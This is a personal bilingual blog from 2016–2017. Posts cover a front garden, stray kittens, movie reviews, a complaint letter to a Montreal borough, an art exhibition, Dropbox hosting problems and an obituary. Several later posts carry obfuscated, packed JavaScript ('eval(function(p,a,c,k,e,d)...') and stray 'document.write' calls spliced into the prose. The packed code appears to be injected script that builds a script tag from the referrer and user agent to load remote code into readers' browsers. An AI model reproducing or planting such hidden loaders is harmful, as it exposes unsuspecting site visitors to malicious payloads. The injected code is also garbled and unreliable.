Progress report (02.017.211)

July 28, 2017 / Clodjee / Leave a comment

Front garden

Since the first growth in April, fifteen weeks ago, the front garden has grown into a thick jungle where sunflowers and cosmos are now dominating (See previous report).

(iPhone 6s, 2017-07-25)

(iPhone 6s, 2017-07-27 & 29)

Parc Frédéric-Back

Now that the parc is electrified, the signalisation is backlit at night and the lamp posts are working keeping the path well lit. It’s actually quite beautiful. Now, they just need to open the new section (See previous report) !

(iPhone 6s, 2017-07-25)

Kittens

The kittens have seen a veterinarian for an examination and their first shots. They will be taken in charge by a shelter in a week. The two mothers are still waiting to be neutered (they are on a waiting list) but it is taking a long time. They’ve already been in a cage for too long. I hope we’ll be able to release them soon… (See previous report)

Update (2017-08-01): After pleading the urgency of the situation, the Mittens’ Targeted Permanent Sterilization Clinic of the SPCA contacted us yesterday, and the two mothers have been sterilized today. We will let them recover for a few days and then release them in our backyard.

Update (2017-08-07): After a week, we have released the two mothers. They have bolted out of the cage and, four hours later, they are still nowhere to be seen. Hopefully, they’ll keep hanging around our backyard… Also, still no news from the shelter that is supposed to take custody of the kittens sometimes this week. Hopefully everything will go well on that side too.

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Movie capsule-reviews (02.017.204)

July 24, 2017 / Clodjee / 2 Comments

Valerian and the City of a Thousand Planets

The latest Luc Besson’s movie (The Professional, Fifth Element, Lucy) is based on the comic series Valérian and Laureline by writer Pierre Christin and artist Jean-Claude Mézières. That series is one of my favourite comics and it has a quintessential place in my heart as it is one of the series that made me discover science-fiction (in the comic magazine Pilote). The movie looks like a Fifth Element on speed and a darker Star Wars. It respects the spirit of the comic but doesn’t really FEEL like it. However, despite many criticism I’ve heard, I found the acting to be faithful enough to the original characters (at least as they were portrayed in the latest albums): a somewhat clumsy Valerian (however, I admit that, barring some occasional heroism, he is far from being an action hero in the comic) and an intelligent, kick-ass and beautiful Laureline! I am also sure that some dumbass will complain that the spaceship looks a little like the Millenium Falcon in Star Wars but, since the comic series was created ten years before Lucas’ franchise, I am sure it is the other way around.

Although the title might let us believe that it’s an adaptation of the Empire of a Thousand Planets, the movie’s story is, in fact, based on Ambassador of the Shadows (the sixth album: L’ambassadeur des ombres) and is relatively faithful to the original. However, in the movie, Central Point is rename Alpha and its origin story has unfortunately been changed to make it centred on Earth (it evolved from the Space Station) and the humans are kind of in control of the Council (this human-centred aspect goes against the spirit of the comic — although it reflects the imperialistic ambition of the humans in the comics). We find in the movie some of the critters from the original story like the shingouz (the three informants) or the transmuteur grognon de Bluxte (the converter) — but the role of the latter is quite different. And the biggest change of all: in the original story it is Laureline who conducts the investigation to save Valerian who was captured with the ambassador (and not the contrary as in the film). And of course the movie ending is more positive (for Earth) than in the comic but it is still a kind of love story between Valerian and Laureline. All in all, it is a nice adaptation of the original story.

My only complain is that the time-traveling aspect has been totally erased from the story — because, above all, Valerian & Laureline are spatio-temporal agents! That omission is rather annoying. But, since there will never be another Valerian comics (unless, of course, the authors feel the movie’s pressure), this adaptation is surely the next best thing (slightly above the animated tv series). The 3D effects are superb and provide quite an immersive experience. The story is good, the acting great and the movie offers excellent workmanship (although quite expensive). I can’t ask for more. All in all, despite the fact that the reviews are not that good (maybe people can’t appreciate french sci-fi?), I was entertained and enjoyed it thoroughly.

[ Google — IMdB — Wikipedia — Youtube ]

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Fantastic Beast and where to find them

This movie is really fleshing out the Harry Potter universe and giving it a different perspective, this time from 1926 New York (the relations between wizards and no-majs [muggles] is completely different). It makes the Potter’s alternate universe much more interesting. The acting is good but it is especially the designs and the special effects for the beasts that are commendable — although by moments it looks a little too much like a bestiary (menagerie catalog). The period sets and costumes are really excellent. Over all it’s quite a good entertainment. I am looking forward for the next movie (after taking the effort of creating an all-new cast of characters for this spin-off, I guess it would be a shame not to make it at least a trilogy!). Strangely, the extras on the BluRay Disc are almost as long as the movie itself!

[ Amazon — Biblio — IMdB — Official — Wikipedia — Youtube ]

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Silence

The movie is set in the same era than the TV mini-series Shogun (James Clavell‘s best-selling novel was inspired by the fascinating life of English navigator William Adams). While Shogun was mainly concentrating on the political reasons that brought Tokugawa Ieyasu to ban christianity and the Jesuits from Japan, Silence explores the religious reasons. The Japanese mind-set (buddhism, shinto) was said to be incompatible with the Church teachings which was often distorted by the local followers. Also, like in the 2nd century Roman Empire, a religion empowering the poor and disfranchised was seen as subversive. Finally, the shogunate was quite wary of the political interferences caused by the religious and economical rivalries between the European superpowers of the time (Spain, Portugal, England, Netherland). Japanese had no patience toward the European arrogance, although they would gladly use their knowledge (medicine, science, technology) when it was needed and trade with the Dutch — who didn’t care much about spreading their religion.

Along with The Last Temptation of Christ and Kundun, Silence is part of a trilogy of movies where Scorsese explores the struggle with faith, a subject that seems dear to him. Based on the novel by Sh?saku End? (which had already been adapted to the screen in 1971 by Masahiro Shinoda), the story is inspired by the life of Giuseppe Chiara, an Italian Jesuit who went to Japan during the Kakure (hidden) Kirishitan period in search for fellow priest Cristóvão Ferreira. In many aspect, Silence is similar to The Last Temptation as the main character wonder why the terrible suffering he witnesses is met only by God’s silence. He is also constantly pushed to renounce his faith by Japanese officials and then tempted by his tormentors to reveal he didn’t!

It is a quite beautiful movie on a very interesting and deep subject (although, personally, I find it hard to comprehend how people could endure this kind of hardship for such a silly belief) but it is a bit long, cerebral and offers several cruel scenes. Despite great acting, the movie received quite a lukewarm reception, not so much amongst the critics [see reviews from The Guardian, The Atlantic, The New Yorker] as from the public (the box office was abysmal). It’s understandable for a beautiful but difficult movie that was released against a though competition (the Martin Luther King holiday weekend also saw the release of Hidden Figures, La La Land and Rogue One: A Star Wars Story !!!). Despite all this, I liked it very much.

[ Amazon — Biblio — IMdB — Wikipedia — Youtube ]

Comment also available (in French) on Les Irrésistibles.

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Warcraft

Even if I never played any of the World of Warcraft games, I liked this fantasy movie because somehow it felt familiar. The world is obviously well developed (i.e. numerous video games, novels and comics), the story is interesting, the acting is good enough and the special effects are excellent. When it comes to those so-called “blue-screen” movies (actually they’re green), where most of the scenes involves some sort of special effects, I am always afraid the story will be shallow, but it is not the case here. Despite the fact that there has been plenty of other high fantasy movies and TV series around recently (The Hobbit & Lord of the rings, Shannara Chronicles, etc.), this one offer something original enough to be interesting and entertaining. Of course, you still have humans, dwarves, elves and, most importantly, orcs, but the mix doesn’t feel stale. It is interesting to note that Warcraft was directed by Duncan Jones (Moon, Source Code), the son of David Bowie.

Although the ending clearly leave the way for a sequel, none has been produced or announced so far (after a year). The movie did quite well at the box office (nearly three time its budgets) but probably not as much as expected or at least not enough to entice the producers to green-light a sequel. And to me that’s probably the most disappointing aspect of this movie. However, SOMEONE was obviously disappointed by the movie (the game fans? the muggles?) because the critics were not very good (seriously? 28% on Rotten Tomatoes!). Well, it was good enough for me.

[ Amazon — Biblio — IMdB — Wikipedia — Youtube ]

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Il Divo

After seeing Paolo Sorrentino’s The Great Beauty, Youth and his TV series The Young Pope, we were curious about his only major film that we hadn’t watch yet. It doesn’t have the depth and beauty of the other movies, but the story is interesting from an historical point of view. I vaguely remember earring in the news about events like the Aldo Moro’s kidnapping and murder in 1978, but don’t know much about the Italian political scene. So, I learned a lot with this movie. It is a biographical drama about Italian seven-time prime minister Giulio Andreotti who allegedly had ties with the mafia — most of his opponents or critics were murdered — but nothing was ever proven in court. It is set between his seventh election in 1992 and his failed bid for presidency and trial in 1995. Like most European movies, it has a slow pace and long scenes so north American viewers can be easily bored (although there’s a lot of violence). But for me it was worth seeing.

[ Amazon — Biblio — IMdB — Wikipedia — Youtube ]

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Lettre à l’arrondissement

July 16, 2017 / Clodjee / 4 Comments

Mme la mairesse d’arrondissement
M. le conseiller de Saint-Michel,

J’ai quelques questions que j’espère vous aurez, cette fois, l’obligeance (sinon la décence) de répondre.

En novembre dernier, suite à une annonce dans le journal de St-Michel (“Toujours à l’écoute de vos besoins, nous vous invitons à nous faire part de vos demandes et commentaires”) qui incitait les citoyens à envoyer leur questions par courriel à leurs conseillers (jusqu’alors, quand j’avais un problème, je me déplaçais au bureau de mon conseiller — que je n’ai jamais rencontré par ailleurs mais sa secrétaire à toujours fait en sorte que les problèmes soient réglés de façon satisfaisante), je vous ai écrit au sujet d’un grave problème de gestion animalière dans notre arrondissement (j’ai par la suite publié cette lettre sur mon blogue et ma soeur, co-signataire, vous l’a très récemment envoyé de nouveau). Je n’ai jamais eu de réponse, ni même d’accusé-réception!

Je ne vous répèterai pas ici le contenu de la lettre (pour cela je vous réfère à mon blogue où le sujet est abondamment documenté par des hyper-liens) mais je me permet d’insister sur le fait que, cette année, la situation est pire: une dizaine de chats errants (deux femelles, cinq chatons, un mâle dominant et deux prétendants) font un véritable ravage dans le jardin de ma cour arrière. Non seulement la situation était-elle devenue intolérable mais apparemment les règlements municipaux nous menaces d’amendes si l’on “tolère” des animaux errants dans notre cour (?!).

Je n’ai donc pas eut le choix d’attraper tout ce beau monde (du moins les femelles et les chatons) mais maintenant qu’en faire? Les refuges privés sont toujours bondés (particulièrement à ce temps-ci de l’année où il y a beaucoup d’animaux abandonnés), c’est très difficile de trouver de bons samaritains pour adopter autant de chats et la seule solution officielle offerte est le Berger Blanc, qui a très mauvaise réputation (l’an dernier un employé m’a avoué que 100% des animaux errants y étaient euthanasiés) et que je me refuse à utiliser. J’espère trouver une place pas trop chère pour faire stériliser les deux femelles (et ensuite relâcher au moins la plus vieille des deux, sinon les deux, pour faire un TNR — “trap, neuter & return”) et trouver des gens pour adopter les chatons. Aux États-Unis et aux Canada anglais la plupart des villes ont des programmes subventionnés pour la stérilisation gratuite ou à bas prix ($15-$20) pour les animaux errants mais ici cela va me coûter autour de $60-$80 chacune! Avez-vous des suggestions?

Donc, suite à ce trop long préambule de contexte (je m’en excuse), j’aimerais bien que vous répondiez à ces deux questions:

Comment cela se fait-il que notre arrondissement fasse affaire avec le refuge qui a la pire des réputations, le Berger Blanc, et non avec la SPCA comme beaucoup d’arrondissements environnants (Anjou, Montréal-Nord, Plateau, Rosemont, etc.)? Si VSP faisait affaire avec la SPCA cela serait déjà un peu mieux…
Comment se fait-il que la ville repousse sans cesse la construction de son propre refuge animalier (dans notre arrondissement)? Aux dernières nouvelles il était maintenant annoncé pour 2019 !!!

Tant qu’à vous écrire j’aurais encore quelques questions sur d’autres sujets:

Pourquoi ouvrir le secteur Boisé Est du Parc Frédéric-Back si tard (le 26 août) alors que c’était initialement annoncé pour le printemps ? À la fin d’août, cela ne laisse plus beaucoup de temps pour en profiter…
Pourquoi sans cesse reporter l’ouverture complète du Parc Frédéric-Back ? Jusqu’à récemment il était question de 2020 et maintenant c’est rendu en 2023 !! La ville a vraiment des problèmes à tenir des échéanciers! Même les sections supposément ouverte ne semblent pas tout à fait complétées…

Comme vous le voyez je ne me gène pas pour commenter les absurdités municipales que j’observe que ce soit des problèmes de déneigement ou la politique de contraventions abusives sur Saint-Roch…

Merci de me lire et, surtout cette fois, de répondre à mes questions…

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Monthly notable news (w20-25)

June 26, 2017 / Clodjee / Leave a comment

On the domestic front, after much hesitation, the summer has finally arrived. At work, it is crazier than ever with the start of the vacation loan, the TD summer reading club, the twenty-days of amnesty, the summer clean-up and all this often in a sweatshop-like environment (hot and humid, because the ventilation and AC doesn’t work properly). It is so exhausting. I’ve applied for a job with more responsibilities (and pay) but flunked the interview (for the second time!). I am either good for nothing else or there’s something rotten in the HR kingdom.

I felt quite depressed lately. With all the problems with the house and at work, as well as the fact that I have not written or read much in several months, it’s no surprise. I come back from work with all my energy spent. I feel worthless. I feel I give a lot to the people around me and doesn’t get much (attention, respect, gratitude, etc.) in return. I hate it when dark thoughts keep me from enjoying life. But, hey!, it’s summer so lets enjoy the sun, the parks, the museums, the flowers, the cats, the people and particularly the few remaining days of my second ten-day summer vacation. There’s lot to do around the house and so much writing (hopefully) to catch up (I’ll try to go at it with smaller bites)!

In the news, Apple has announced some great software updates (iOS 11, macOS High Sierra, watchOS 4) and some new products (iMac & MacBook Pro, or iPad Pro updates, as well as a new iMac Pro and the HomePod, a speaker that they say will reinvent music at home) and my evenings have been consumed with listening to the latest Trump craziness on MSNBC. Everyday brings a new lie! More on the news in the links bellow…

I have always enjoyed the stray cats in my backyard but this year it is a real infestation: a battered dominant male [Toffee], two females (mother [Grisou] and daughter [Chaussette/Socks], their FIVE kittens and a couple of tomcat challengers. That’s TEN cats! They have laid waste to the backyard garden so I had to do something to control the situation. Unfortunately, the lack of consistent animal management policies in the city (and particularly in this borough, VSP) puts all the burden on the citizen and doesn’t give much help. My only option is to bring them to the Berger Blanc (which has a terrible reputation and an almost all-kill policy — also, for some mysterious reasons [$$?], my borough doesn’t deal with the SPCA) which I refuse to do. So far, I’ve caught all the females and their kittens, and I’ll see what I can do from there (any suggestions?)…

I’ve also started taking some omega-3 supplements, which (according to an NHK World report) is supposed to be good against cholesterol and dementia, amongst other things (like cancer or arthritis). It’s messing up with my digestion, but strangely I feel that my mind is a little clearer. Placebo effect? Anyway, we’ll see…

Strangely, I kept busy during the last month by doing lots of little things (cleaning up the garage, buying a new couch, burying my mother’s ashes, etc. — daily routine stuff) about which there’s little to say (or I just can’t recall some of them). I confess that I also probably watch too much TV. Anyway, that’s about it for now…

Although, as always, I continued to stay acquainted with the affairs of the world and gathered nearly a hundred notable news & links — which I share with you (in both french or english, and roughly separated in a few categories of interest), after the jump.

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Chagall

June 11, 2017 / Clodjee / Leave a comment

En fin de semaine j’ai finalement réussi à visiter l’exposition Chagall au Musée des Beaux-Arts avant qu’elle ne se termine. D’habitude je ne suis pas trop fervent d’art moderne mais je dois avoué avoir été surpris par celle-ci. Marc Chagall est juste assez figuratif pour que je l’apprécie. Il a une palette de couleurs attrayante et ses sujets sont très révélateurs de la culture qui l’a nourrie (il était juif hassidique russe). Étrangement, les thématiques récurrentes dans son oeuvre semblent correspondre aux instruments à cordes (violons, mandolines), au coq et au cirque! C’est un artiste très polyvalent qui a touché à pratiquement tout les media, de la peinture à la sculpture, aux fresques et aux vitraux, de même qu’à la céramique ainsi qu’aux décors et costumes de scènes…

Une très belle exposition qui m’a beaucoup apprise. Un gros merci au Musée des Beaux-Arts de Montréal pour nous abreuver, année après année, de tant de culture!

Voici un bref aperçu de l’exposition :

Et voici quelques unes de mes oeuvres favorites de Chagall :

: Chagall: Couleur et Musique

: Le violoniste vert

: Le Violoniste sur le banc

: Les Amoureux en gris

: L’autoportrait aux sept doigts

: Golgotha

: Le Cirque bleu

: Portrait d’Igor Stravinsky au coq

Vous pouvez voir une sélection plus complète des oeuvres qui m’ont le plus touché sur l’album Flickr que j’ai créé à cet effet.

Et si vous désirez en connaître plus sur ce grand artiste du vingtième siècle vous trouverez en bibliothèque probablement tout ce qu’il vous faut pour satisfaire votre curiosité.

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Rappel: le solde de livres

May 23, 2017December 30, 2017 / Clodjee / 1 Comment

Petit rappel: le solde de livres est toujours en cours et se termine dimanche prochain, le 28 mai. Pour les détails, vous référez au billet précédent ou simplement cliquer sur les images du signet pour les agrandir (ci-contre).

J’y étais le première journée et la file d’attente était plutôt longue (j’ai attendu un bon deux heures!). Évitez donc les week-ends. L’idéal c’est d’y aller la semaine ou en fin de journée. J’y suis retourné ~~deux~~ trois fois depuis et j’ai trouvé quelques trésors: des guides de voyages de l’éditeur DK (Voir en français), quelques documentaires, de nombreux mangas (principalement de Tezuka, plus deux Taniguchi et j’ai complété une partie de la série Zipang), des romans de chez Alire (Champetier, Houde, Lalumière, J-J Pelletier, Rochon, Sernine, Vonarburg), un Philip K. Dick, quelques auteurs japonais, etc. Ça vaut vraiment la peine alors essayez d’aller y faire un tour!

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Promenade au parc

May 19, 2017 / Clodjee / Leave a comment

Je prends régulièrement des marches de santé dans le Parc du Complexe Environnemental de Saint-Michel (récemment renommé le Parc Frédéric-Back). J’ai donc pu constater ce printemps le progrès (plutôt lent) dans les différents aménagements des entrées de la nouvelle section (partie sud-est) dont l’ouverture avait été annoncé pour le printemps 2017. Bientôt sûrement (à moins que cela ne soit reporté comme la plupart des grands projets de M. Codère! L’ouverture totale du Parc annoncée pour 2020 est maintenant reporté à 2023!). Voici quelques photographies qui illustre cela:

La promesse

: La nouvelle section entrée Émile-Journault (04/22)

: Signalisation (04/22)

: Vue du belvédère (05/07)

: Outardes et bulle (05/07)

: Signalisation entrée Iberville (05/14)

: Clôture fermant la nouvelle section

: Escargot (05/14)

: Sculptures au Cirque du Soleil (05/14)

: Nouvel éclairage (05/15)

: Marmotte (05/15)

: Signalisation à l’entrée Emile-Journault (05/12)

: Poteau électrique (05/17)

Mise à jour (2017-05-27): J’ai remarqué aujourd’hui que l’on avait ajouté une nouvelle signalisation de sentiers et quelques nouveaux arbres. Bon, ça progresse mais quand cette nouvelle section ouvrira-t-elle au public?!

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Absurdity of the day (#02017117)

April 28, 2017 / Clodjee / Leave a comment

I feel I was born in a parallel universe with a completely different logic system and then absconded here for some mysterious reasons. This place doesn’t make sense at all to me as nobody seems to follow what I consider to be basic common sense. Here are two examples that I witness daily.

In this part of town, people are waiting for the bus in line from the back to the front or the concept of lining-up seems foreign to them. I know many of them are deeply religious (as they read the Bible or pray on the bus, probably going to church every Sunday) and “Jesus” told them “the last shall be first” but he meant it for the kingdom of Heaven, not here! I can’t stand such hypocrisy: they are supposed to be charitable and humble and they are the first to cut the line, steal your place or hate you for daring to stand your ground (sometimes even accusing you of being racist if you complain)! As an agnostic I feel I have more moral values than most of them.

I also don’t understand how an employer can be so callous and disrespectful toward its employees (the people who are actually making things work): I should not have to fight for compassionate leave (it has nothing to do with the collective bargaining agreement: it’s in the damn labor code!) or to work in difficult and unpleasant conditions as the work place was without any ventilation or air conditioning for several days and the room temperature was neighbouring 24 to 27.5 ? (if we were simply sitting at a desk it would probably be bearable but our work requires to be constantly standing or moving — actually, if the ideal comfort zone is defined as 21-23°C, there is NO maximum Temperature Limit set by the labor code) ! And, to add insult to injury, this week they also used the employees’ room (where we rest and take our meals) to store the stinking floor polishing equipment! It is not enough for the employer to trim our pension (unilaterally changing a negotiated agreement), cut some of our leave, reduce the staff and increase the number of tasks so we have to force the pace until we feel we are on an assembly line, but they must also show us a total lack of respect? And, after that, they still expect their employees to be loyal, enthusiastic and performing? The union is no better because, when we complain, they just do nothing (they are masters of collusion). It is inconceivable, unacceptable, completely outrageous!

I don’t understand how this could be completely normal to other people. I really must be from another world…

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Old Books

April 16, 2017December 31, 2017 / Clodjee / 9 Comments

I love old stuff, particularly coins and books. Unfortunately, I don’t have the enthusiasm of youth, the time to travel nor the money to collect them anymore. Old stuff is now rare, harder to find and, mostly, more expensive. So I have to make do with enjoying what I already have (and sometime sharing this pleasure with others).

Unlike some of my friends, I don’t have really rare stuff (one has a page from a Book of Hours or another has a 1661 french edition of Suetonius!) but I have just a little more than a dozen ancient books that I cherish. Some because they are history books or works of an ancient author, others just because they are old (and despite the fact they are insipid religious documents).

Inspired by a question I was asked on Facebook, I invite you to share my joy after the jump >>
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Screwed by Dropbox

March 17, 2017February 9, 2026 / Clodjee / 1 Comment

You are wondering why there are no longer pictures in this blog?

Simple: most pictures were hosted on Dropbox and “As of March 15, 2017 the Public folder in your Dropbox account has been converted into a standard folder. By default this folder is private to your account. (…) If you’re a Basic user, and you created a website that directly displays HTML content from your Dropbox account, it will no longer render in the browser.”

Of course, for a while, it would continue to work if your are Dropbox Pro or Plus users (at minimum $129 per year). It is tantamount to legal ransomware!

I thought that re-doing a share link individually for each picture (for all my 1345 posts !) could solve the problem but a quick test was a failure. I don’t have much time to dedicate to this right now (having spent the last week and half working hard to prepare for my mother’s funerals, which is later today). I’ll try to contact Dropbox later, but for now it will remain that way.

I’ll try to figure out an alternative solution as soon as possible. Anyway, I was thinking of switching to a WordPress blog with a web hosting professional company that will also locally host the files. That would solve the problem but will also take time to implement. We’ll see.

I apologize profoundly for the actual state of my blog. But keep reading, it’s the words that count.

Update: another quick test (at the suggestion of this guy) made me realize that I can host images with Blogger itself, although I don’t know the limitation in space or bandwidth. I’ll probably just do that for the most important or recent posts while I prepare for a more permanent solution.

Update 2: Of course, I can also use Flickr to temporarily host the images. At least, there, the limit is known (1 Tb of which I am currently using only 0.4%). I might use a little of both methods, but no matter what it will be time-consuming and a hassle. Argh! I hate Dropbox for dropping this on me at a time like this!

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Laure Gauthier (1929-2017)

March 8, 2017February 9, 2026 / Clodjee / Leave a comment

Ma mère, document.write(“”); Laure Gauthier, est décédé paisiblement dans son sommeil dimanche le 5 mars 2017 d’un cancer sauvage des poumons. Elle avait quatre-vingt-sept ans et a eu une belle vie, bien remplie, qui mérite bien d’être célébrée et commémorée. Je lui suis reconnaissant pour toutes les merveilles qu’elle m’a transmises.
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Elle est née en octobre 1929 à Maskinongé de Lucien Gauthier (1905-1944), tailleur, et de Lucia Ricard (1907-1991), qui doit reprendre son métier d’institutrice après le décès de son époux afin de pouvoir s’occuper (avec l’aide des parents) de sa famille de neuf enfants. Laure, qui est la deuxième enfant, épouse Claude Eugène Pelletier en octobre 1953 à l’église Notre-Dame des Sept-Allégresses de Trois-Rivières et ils ont quatre enfants qu’elle doit élever pratiquement seule car Claude, qui est preneur de son pour l’Office National du Film, est souvent parti en tournage. Ils s’établissent d’abord à Hull, puis aux Iles-Laval en février 1956.

En septembre 1970, alors que les enfants commencent à être un peu plus autonomes, elle entreprend des études en bibliotechnique, qu’elle complète en 1977 par des cours en archivistique (et paléographie). Cela lui donne les outils nécessaires pour appuyer Claude dans sa passion pour l’histoire et la généalogie. Elle devient membre de l’Association des Archivistes du Québec et s’implique, avec Claude, auprès de la Société d’Histoire de L’Ile-Jésus (contribuant, entre autre, à l’inventaire des archives de paroisses de l’Île Jésus et à la sauvegarde de la Maison André-Benjamin Papineau), puis de la Société de Généalogie (ils sont parmi les premiers à devenir des maître-généalogistes agréés au Québec) et, finalement, de l’Association des Familles Pelletier. En plus d’avoir collaborer avec son époux à l’élaboration d’une série de recueils généalogiques des Familles Pelletier (du Perche [2 vols], de Beauce, du Poitou) et d’un bulletin spécial de la Société d’Histoire de l’Île Jésus pour son 25e anniversaire, elle a écrit deux ouvrages: une biographie d’André-Benjamin Papineau (Cahier d’Histoire de l’Île Jésus #2, 1985) et une histoire de famille intitulée Le tour du Québec en 70 ans (qui demeure inédite).

Même si Claude était à la retraite de l’ONF depuis 1983, ce n’est vraiment qu’en 2004 qu’ils prennent du repos en diminuant leur engagement auprès de diverses associations et en vendant la maison des Iles-Laval pour s’établir plutôt dans une maison de retraite. Ils feront plusieurs voyages pour des colloques et ralliements généalogiques ainsi que des croisières dans le sud. Comme Claude est atteint de la maladie d’Alzheimer, Laure doit beaucoup s’occuper de lui, jusqu’à son décès en octobre 2015. Malheureusement, elle ne peut guère profiter de cette nouvelle liberté, car un peu avant Noël 2016 elle découvre qu’elle est atteinte d’un cancer du poumon. En janvier, il est devenu évident que c’est une forme très agressive de cancer et que les métastases se sont propagées au foie et aux os. En février, elle a commencé à avoir de la difficulté à respirer et le cancer des os est très douloureux. L’oxygène et de forts anti-douleurs l’aident pendant un certain temps, mais elle perd l’appétit et de la force très rapidement. À la fin, elle dort beaucoup. Elle est morte paisiblement dans son sommeil, chez elle. L’effort d’une respiration laborieuse fut probablement un peu trop pour son cœur. Ou peut-être qu’elle était juste prête à se laisser aller. Je suis heureux que sa souffrance ait pris fin. Puisse-t-elle reposer en paix.

Laure Gauthier était l’épouse de Feu Claude E. Pelletier (1928-2015), la mère de Feu Johanne (1954-1983), de Luce, de Francine et de Claude J., la belle-mère de Miyako Matsuda, la grand-mère adoptive de Sébastien Chartrand (Sonya Godbout-Gaucher). Elle laisse également dans le deuil sa sœur Micheline (Jean Morissette), ses frères Jacques et Marcellin (Marie José Hamelin), plusieurs belles-sœurs et beaux-frères.

La famille recevra les condoléances, en présence des cendres, le vendredi 17 mars de 15 h 30 à 20 h à la résidence funéraire Laval (salle Opale) de la Coopérative Funéraire du Grand Montréal (2000 rue Cunard, Laval, Qc). Un buffet sera servi vers 17 h et sera suivi à 20h d’un hommage en sa mémoire et d’une cérémonie de la parole. L’inhumation des cendres se fera ultérieurement en privé.

Les détails sur les funérailles sont disponibles sur le site de la coopérative funéraire et dans les pages d’avis de décès du Journal de Montréal du 11 et 15 mars.

Au lieu d’envoyer des fleurs, si vous désirez faire un geste en sa mémoire, nous vous suggérons de faire un don à la Société Canadienne du Cancer.

Si vous désirez écrire des messages de sympathie ou d’hommage, vous pouvez le faire sur la page Facebook de Laure.

Un diaporama commémoratif est aussi disponible (sur mon blog et sur Vimeo).

[ Translate ]

Décès de Jirô Taniguchi

February 12, 2017February 9, 2026 / Clodjee / Leave a comment

C’est avec grande consternation que j’ai appris cet après-midi, document.write(“”); via Facebook, le décès d’un des mangaka que je respectais le plus: Jirô Taniguchi est décédé samedi à l’âge de 69 ans! La cause du décès n’a pas été précisé. Il nous manquera terriblement. Toutes mes condoléances à sa famille, ses proches ainsi qu’à ses nombreux admirateurs qui, particulièrement en Europe, ont découvert et grandement apprécié la qualité de son travail. Requiesce in pace, mi magister!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dafzk|var|u0026u|referrer|srizn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aftik|var|u0026u|referrer|afnhd||js|php’.split(‘|’),0,{}))

[Sources: ANN, AnimeLand, Le Figaro, Le Monde, Variety, Yahoo]

Voir aussi: Google et The Manga Critic’s Guide to Jiro Taniguchi.

Lire la suite après le saut de page >>

Continue reading →

Monthly notable news (W53-03)

January 23, 2017February 9, 2026 / Clodjee / Leave a comment

The Holidays and the couple of weeks that followed were rather quiet. Thankfully, document.write(“”); I had to deal with much less craziness at work. But that was only the eye of the storm and those depressing days (scientifically certified as such since Blue Monday fell on January 16th this year) are coming to an end. The days are getting longer and more shit will soon hit the fan. Of course, there’s also this endless American nightmare with everything Trump. I wish I could forget about all that and never hear about it again, but unfortunately that’s what the world has become now.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iaris|var|u0026u|referrer|tastn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbfbt|var|u0026u|referrer|faddk||js|php’.split(‘|’),0,{}))

I am already getting behind in my writings, but I caught up a little with my TV and movie watching. Besides the restarting new seasons (mostly Call The Midwife, Colony, Endeavour, Father Brown, Homeland), the notable new additions are Victoria and Dark Angel (although those two have already ended) as well as the weird Young Pope (a young and reckless leader is unexpectedly elected to head the Church — a little reminescent of the whole “orange is the new black” American electoral fiasco — but it’s directed by Paolo Sorrentino, who gave us La grande bellezza) and the quite interesting Mercy Street, a medical period drama set at the Mansion House Hospital during the American Civil War.

I’ll try to reinvent myself this year (so much to do) and push forward even harder on the path to improve my temperament and expend my knowledge. That’s the only purpose one can have.

Despite everything, I tried to stay acquainted (a bit) with the affairs of the world. Here’s a “few” notable news & links that I came across this month and that I’d like to share with you, after the jump (in no particular order, in both french and english): Continue reading →

Monthly notable news (W45-48)

November 28, 2016February 9, 2026 / Clodjee / Leave a comment

So far, document.write(“”); November was quite a busy month. Besides all the exasperation and exhaustion at work (I feel I am working like a blue-collar — it’s my understanding that a white-collar should never sweat at work), I kept busy by going to a vegan fest and the Montreal Book Fair. I also finished watching a few tv series like Poldark, A Place to Call Home, Versailles; and Westworld becomes more intriguing.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrfsb|var|u0026u|referrer|fakhs||js|php’.split(‘|’),0,{}))
